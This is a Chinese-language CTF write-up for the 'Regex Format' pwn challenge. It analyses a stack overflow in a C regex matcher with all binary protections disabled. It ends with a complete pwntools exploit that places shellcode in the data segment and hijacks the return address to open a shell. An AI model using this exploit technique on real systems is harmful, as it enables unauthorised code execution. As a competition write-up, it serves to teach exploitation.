骑麦兜看落日

[WriteUp]湖湘杯

字数统计: 522阅读时长: 2 min
2018/10/27 Share

PWN


Regex Format


题目信息

How to find match string? 附件下载地址:http://hxb2018.oss-cn-beijing.aliyuncs.com/pwn/pwn_1D0984F129D563BC739B37E975CC8DF2.zip


47.107.172.28:8888


程序分析

1
2
3
4
5
6
7
8
9
$ file pwn1 
pwn1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, stripped
$ checksec pwn1
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

解题过程

用C实现的正则匹配,其中

1
2
3
4
无符号         ->  全部匹配
:...$ -> 匹配其中一个字符
:...$+ -> 匹配其中至少一个字符
:...$* -> 匹配其中任意个字符

开始已经给出了一段示例匹配Before :use$ it, :understand$* it :first$+.,按照上边的分析,匹配到的最少字符应为Before u it, it, f.

分析程序,我将我将正则称为re_str,分割后的正则称为sort_str,匹配的字符串称为match_str

程序中有两个比较重要的函数

第一个是sort(),将re_str按照上述规则进行分割存储到sort_str

第二个是match(),将match_str按照sort_str的规则进行匹配,这之中用到了一个局部变量s,其大小为0xD4,若匹配到的字符串长度超过局部变量的大小将会溢出

由于保护全关,data段地址已知且可执行,将shellcode写入data并溢出即可

这里还有一个小问题是用pwntools生成的shellcode存在字符$会将正则截断,只需要在之后加一个push 0x3A重新匹配一下即可


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python

from pwn import *
context(log_level = "debug",arch = "i386",os = "linux")

exe = 'pwn1'
#lib = ''
#ip = ''
#port = 0
elf = ELF(exe)
#libc = ELF(lib)

io = process(exe)#, env={"LD_PRELOAD":libc.path})
#io = remote(ip, port)

def gdb(script = ''):
attach(io,gdbscript = script)

def cmd(text1,text2):
regex(text1)
string(text2)
io.recvuntil('[*]would you like to continue?[Y/n]')
io.sendline('n')

def regex(text):
io.recvuntil('[*]please input the regex format')
io.sendline(text)

def string(text):
io.recvuntil('[*]please input the string to match')
io.sendline(text)

#gdb('b * 0x8048DA8')
shellcode = asm(shellcraft.sh())

re = '' #Before :use$ it, :understand$* it :first$+.
re += shellcode[:0x1A]
re += '\x6a\x3a'
re += shellcode[0x1A:]
re += p32(0x804A1D0+0x2b)
re += '$*'

match = ''
match += 'Before u it, it, it f.'
match += shellcode[:0x1A]
match += '\x6a'
match += shellcode[0x1A:]
match += 'Q'*0xC6
match += p32(0x804A1D0+0x2b)

cmd(re,match)

io.interactive()
CATALOG
  1. 1. PWN
    1. 1.1. Regex Format
      1. 1.1.1. 题目信息
      2. 1.1.2. 程序分析
      3. 1.1.3. 解题过程
      4. 1.1.4. EXP